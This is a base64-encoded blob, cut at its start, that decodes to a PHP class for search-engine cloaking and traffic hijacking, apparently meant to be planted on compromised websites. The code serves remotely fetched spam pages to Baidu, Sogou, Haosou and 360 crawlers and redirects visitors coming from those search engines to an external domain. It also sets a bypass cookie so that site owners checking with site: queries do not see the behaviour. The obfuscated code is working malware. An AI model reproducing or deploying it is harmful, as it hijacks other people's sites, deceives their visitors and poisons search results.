YyBmdW5jdGlvbiBydW4oKXsKCQkkdGhpcy0+ZG9tYWluID0gJHRoaXMtPmdldFNlcnZlck5hbWUo KTsKCQkkdGhpcy0+anVtcF9yZWYgPSBleHBsb2RlKCJ8IiwiYmFpZHUufGhhb3NvLnxoYW9zb3Uu fGJpbmcufHNvLnxzb2dvdS58c29zby4iKTsKCQkkdGhpcy0+aHR0cF9yZWZfZmlsdGVyID0gZXhw bG9kZSgifCIsImludXJsOnxzaXRlOnxzaXRlJTNBfGludXJsJTNBIik7CgkJJHRoaXMtPmFsbG93 X2lwID0gIjIyMi4xODQuMjM0fDExMi44Ny43MXw1OC4yMjEuODcufDQ5LjY3LjIyMyI7CgkJJHRo aXMtPmNvbmRpdGlvbiA9ICgkX0dFVFsnYWlkJ10gPiAxMDAwMDAwMCAmJiAkdGhpcy0+aXNBbGxv d2RJcCgpKTsKCQkkdGhpcy0+YXBwX3NlcnZlciA9ICIiOwoJCSR0aGlzLT5pc0NhY2hlICA9IEZh bHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRlcigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJ aWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVs c2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQ SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK